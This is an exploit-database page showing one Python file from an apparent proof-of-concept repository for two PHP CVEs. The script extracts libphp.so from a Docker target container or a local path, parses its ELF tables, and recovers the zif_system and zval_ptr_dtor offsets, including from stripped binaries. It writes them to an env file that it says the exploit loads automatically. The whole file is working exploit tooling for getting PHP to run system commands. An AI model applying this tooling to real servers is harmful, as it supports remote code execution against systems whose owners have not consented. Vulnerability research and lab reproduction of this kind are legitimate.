Exploit database

GH-09dd126f8ba9bfb36f137e7eadb78912

godylockz/cve-2026-109618-109619

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

413 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
godylockz/cve-2026-109618-109619Revision f6d1764afc56

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

docker/offsets.py

Python · 12,900 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Read zif_system / zval_ptr_dtor offsets from a PHP ELF image.

Sources (pick one):
  * running container  -- docker cp the PHP image out and parse it
  * local file         -- parse a PHP ELF image you already have on disk

Writes offsets.env for the exploit to load automatically.

Usage:
    python3 docker/offsets.py [container] [output]
    python3 docker/offsets.py --container NAME [--lib-in-container PATH] \
                              [--output PATH]
    python3 docker/offsets.py --libphp /path/to/libphp.so [--output PATH]
"""

# Imports
from __future__ import annotations

import argparse
import hashlib
import os
import re
import shutil
import struct
import subprocess
import sys
import tempfile

LIB = "/usr/lib/apache2/modules/libphp.so"
LIB_CANDIDATES = (
    LIB,
    "/usr/lib/apache2/modules/libphp8.so",
    "/usr/lib/apache2/modules/libphp7.so",
    "/usr/lib/apache2/modules/libphp5.so",
)
HERE = os.path.dirname(os.path.abspath(__file__))
DEFAULT_CONTAINER = "php2shell-target"
DEFAULT_OUTPUT = os.path.join(os.path.dirname(HERE), "out", "offsets.env")

SHT_SYMTAB = 2
SHT_RELA = 4
SHT_DYNSYM = 11
PT_LOAD = 1
PF_X = 1
R_X86_64_RELATIVE = 8
SYMBOL_ALIASES = {
    "zif_system": ("zif_system",),
    "zval_ptr_dtor": ("zval_ptr_dtor", "_zval_ptr_dtor"),
}


def copy_lib(container, lib_in_container):
    fd, path = tempfile.mkstemp(prefix="libphp-", suffix=".so")
    os.close(fd)
    try:
        copied = subprocess.run(
            ["docker", "cp", f"{container}:{lib_in_container}", path],
            check=False, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,
        )
        if copied.returncode:
            with open(path, "wb") as destination:
                streamed = subprocess.run(
                    ["docker", "exec", container, "cat", lib_in_container],
                    check=False, stdout=destination, stderr=subprocess.PIPE,
                )
            if streamed.returncode:
                detail = streamed.stderr or copied.stderr
                raise subprocess.CalledProcessError(
                    streamed.returncode,
                    streamed.args,
                    stderr=detail,
                )
    except FileNotFoundError:
        os.unlink(path)
        raise SystemExit("docker not found in PATH")
    except subprocess.CalledProcessError as e:
        os.unlink(path)
        raise SystemExit(
            f"cannot copy {lib_in_container} from container {container!r}: "
            f"{e.stderr.decode(errors='replace').strip()}"
        )
    return path, True  # (path, is_temp)


def copy_first_lib(container, requested=None):
    """Copy an explicit library or the first standard Apache module found."""
    candidates = (requested,) if requested else LIB_CANDIDATES
    errors = []
    for candidate in candidates:
        try:
            path, is_temp = copy_lib(container, candidate)
            return path, is_temp, candidate
        except SystemExit as exc:
            errors.append(str(exc))
    tried = ", ".join(candidates)
    detail = errors[-1] if errors else "no candidates"
    raise SystemExit(f"cannot locate an Apache PHP module; tried {tried}: {detail}")


def stage_local_lib(libphp_path):
    """Copy a local libphp.so into a temp file so the caller's cleanup
    path is uniform; the local file itself is never modified."""
    if not os.path.isfile(libphp_path):
        raise SystemExit(f"libphp.so not found: {libphp_path!r}")
    fd, path = tempfile.mkstemp(prefix="libphp-", suffix=".so")
    os.close(fd)
    try:
        shutil.copyfile(libphp_path, path)
    except OSError as e:
        os.unlink(path)
        raise SystemExit(f"cannot read {libphp_path!r}: {e}")
    return path, True


def parse_elf(path):
    with open(path, "rb") as f:
        data = f.read()
    if data[:4] != b"\x7fELF" or data[4] != 2 or data[5] != 1:
        raise SystemExit("libphp.so is not a little-endian ELF64 file")
    e_machine, = struct.unpack_from("<H", data, 0x12)

    e_phoff, = struct.unpack_from("<Q", data, 0x20)
    e_shoff, = struct.unpack_from("<Q", data, 0x28)
    e_phentsize, e_phnum = struct.unpack_from("<HH", data, 0x36)
    e_shentsize, e_shnum = struct.unpack_from("<HH", data, 0x3A)

    loads = []
    for i in range(e_phnum):
        off = e_phoff + i * e_phentsize
        p_type, p_flags = struct.unpack_from("<II", data, off)
        p_offset, p_vaddr = struct.unpack_from("<QQ", data, off + 8)
        p_filesz, p_memsz = struct.unpack_from("<QQ", data, off + 32)
        if p_type == PT_LOAD and p_memsz:
            loads.append({
                "offset": p_offset,
                "vaddr": p_vaddr,
                "filesz": p_filesz,
                "memsz": p_memsz,
                "flags": p_flags,
            })
    if not loads:
        raise SystemExit("no PT_LOAD segment")
    bias = min(segment["vaddr"] for segment in loads)

    sections = []
    for i in range(e_shnum):
        off = e_shoff + i * e_shentsize
        sh_name, sh_type = struct.unpack_from("<II", data, off)
        sh_offset, sh_size = struct.unpack_from("<QQ", data, off + 24)
        sh_link, = struct.unpack_from("<I", data, off + 40)
        sh_entsize, = struct.unpack_from("<Q", data, off + 56)
        sections.append({
            "name_off": sh_name, "type": sh_type, "offset": sh_offset,
            "size": sh_size, "link": sh_link, "entsize": sh_entsize,
        })

    wanted = {name: None for name in SYMBOL_ALIASES}
    aliases = {
        alias: canonical
        for canonical, names in SYMBOL_ALIASES.items()
        for alias in names
    }
    for sec in sections:
        if sec["type"] not in (SHT_SYMTAB, SHT_DYNSYM):
            continue
        strtab = sections[sec["link"]] if sec["link"] < len(sections) else None
        if strtab is None:
            continue
        entsize = sec["entsize"] or 24
        count = sec["size"] // entsize
        for i in range(count):
            off = sec["offset"] + i * entsize
            st_name, = struct.unpack_from("<I", data, off)
            st_value, = struct.unpack_from("<Q", data, off + 8)
            if st_name == 0:
                continue
            name_off = strtab["offset"] + st_name
            end = data.find(b"\x00", name_off)
            if end < 0:
                continue
            name = data[name_off:end].decode("ascii", "replace")
            canonical = aliases.get(name)
            if canonical is not None and wanted[canonical] is None:
                wanted[canonical] = st_value

    if wanted["zif_system"] is None and e_machine == 62:
        wanted["zif_system"] = recover_zif_system(data, sections, loads)

    missing = [name for name, val in wanted.items() if val is None]
    if missing:
        raise SystemExit("symbols not found in PHP ELF image: " + ", ".join(missing))
    return bias, {k: v for k, v in wanted.items() if v is not None}


def recover_zif_system(data, sections, loads):
    """Recover zif_system from a stripped x86-64 PHP function table."""
    string_vaddrs = set()
    start = 0
    while True:
        offset = data.find(b"system\x00", start)
        if offset < 0:
            break
        start = offset + 1
        for segment in loads:
            first = segment["offset"]
            if first <= offset < first + segment["filesz"]:
                string_vaddrs.add(segment["vaddr"] + offset - first)
                break

    relocations = {}
    for section in sections:
        if section["type"] != SHT_RELA:
            continue
        entsize = section["entsize"] or 24
        for offset in range(
            section["offset"],
            section["offset"] + section["size"],
            entsize,
        ):
            r_offset, r_info, r_addend = struct.unpack_from("<QQq", data, offset)
            if r_info & 0xFFFFFFFF == R_X86_64_RELATIVE:
                relocations[r_offset] = r_addend

    candidates = set()
    for field, value in relocations.items():
        if value not in string_vaddrs:
            continue
        handler = relocations.get(field + 8)
        if handler is None:
            continue
        if any(
            segment["flags"] & PF_X
            and segment["vaddr"] <= handler
            < segment["vaddr"] + segment["memsz"]
            for segment in loads
        ):
            candidates.add(handler)
    return candidates.pop() if len(candidates) == 1 else None


def sha256_file(path):
    digest = hashlib.sha256()
    with open(path, "rb") as source:
        for block in iter(lambda: source.read(1024 * 1024), b""):
            digest.update(block)
    return digest.hexdigest()


def gnu_build_id(path):
    """Return the GNU build ID reported by readelf, or None."""
    try:
        result = subprocess.run(
            ["readelf", "-n", path], capture_output=True, text=True,
            check=False,
        )
    except FileNotFoundError:
        return None
    if result.returncode:
        return None
    match = re.search(r"Build ID:\s*([0-9a-fA-F]+)", result.stdout)
    return match.group(1).lower() if match else None


def offsets_from_target(path, debug_file=None):
    """Read symbols from the runtime or a build-ID-matched debug object."""
    try:
        return parse_elf(path), None
    except SystemExit:
        if not debug_file:
            raise
    target_id = gnu_build_id(path)
    debug_id = gnu_build_id(debug_file)
    if not target_id or not debug_id:
        raise SystemExit(
            "stripped runtime and debug file must both expose a GNU build ID"
        )
    if target_id != debug_id:
        raise SystemExit(
            f"debug file build ID mismatch: target={target_id} debug={debug_id}"
        )
    return parse_elf(debug_file), target_id


def main():
    # Backwards-compat: `python3 offsets.py [container] [output]`.
    # If the first positional argument starts with `-`, parse as flags
    # instead; otherwise treat as (container, output) like before.
    legacy = (len(sys.argv) > 1
              and not sys.argv[1].startswith("-"))
    ap = argparse.ArgumentParser(
        description="Extract zif_system / zval_ptr_dtor from a PHP ELF image",
    )
    ap.add_argument("--container", default=None,
                    help=f"docker container name (default: {DEFAULT_CONTAINER})")
    ap.add_argument(
        "--lib-in-container", default=None,
        help="PHP module path inside the container; when omitted, try "
             "libphp.so, libphp8.so, libphp7.so, then libphp5.so",
    )
    ap.add_argument("--libphp", default=None,
                    help="skip docker; read a local libphp.so directly")
    ap.add_argument(
        "--debug-file", default=None,
        help="matching unstripped debug object for a stripped runtime; GNU "
             "build IDs must match",
    )
    ap.add_argument("--output", default=None,
                    help=f"env file to write (default: {DEFAULT_OUTPUT})")

    if legacy:
        container = sys.argv[1]
        output = sys.argv[2] if len(sys.argv) > 2 else DEFAULT_OUTPUT
        libphp = None
        debug_file = None
        lib_in_container = None
    else:
        args = ap.parse_args()
        if args.libphp and args.container:
            raise SystemExit("--libphp and --container are mutually exclusive")
        libphp = args.libphp
        debug_file = args.debug_file
        container = args.container if not libphp else None
        if not libphp and not container:
            container = DEFAULT_CONTAINER
        output = args.output or DEFAULT_OUTPUT
        lib_in_container = args.lib_in_container

    if libphp:
        path, is_temp = stage_local_lib(libphp)
    else:
        path, is_temp, lib_in_container = copy_first_lib(
            container, lib_in_container,
        )
    try:
        (bias, syms), build_id = offsets_from_target(path, debug_file)
        libphp_sha256 = sha256_file(path)
    finally:
        if is_temp:
            try:
                os.unlink(path)
            except OSError:
                pass

    zif = syms["zif_system"] - bias
    dtor = syms["zval_ptr_dtor"] - bias

    os.makedirs(os.path.dirname(output), exist_ok=True)
    with open(output, "w", encoding="utf-8") as f:
        f.write(f"ZIF_OFFSET=0x{zif:x}\n")
        f.write(f"DTOR_OFFSET=0x{dtor:x}\n")
        f.write(f"LIBPHP_SHA256={libphp_sha256}\n")
        f.write(f"RUNTIME_SHA256={libphp_sha256}\n")
        if build_id:
            f.write(f"GNU_BUILD_ID={build_id}\n")

    source = f"libphp={libphp}" if libphp else f"container={container}"
    print(f"zif_system     0x{zif:x}")
    print(f"zval_ptr_dtor  0x{dtor:x}")
    print(f"libphp_sha256  {libphp_sha256}")
    if build_id:
        print(f"gnu_build_id   {build_id}")
    print(f"source         {source}")
    print(f"wrote          {output}")
    return 0


if __name__ == "__main__":
    sys.exit(main())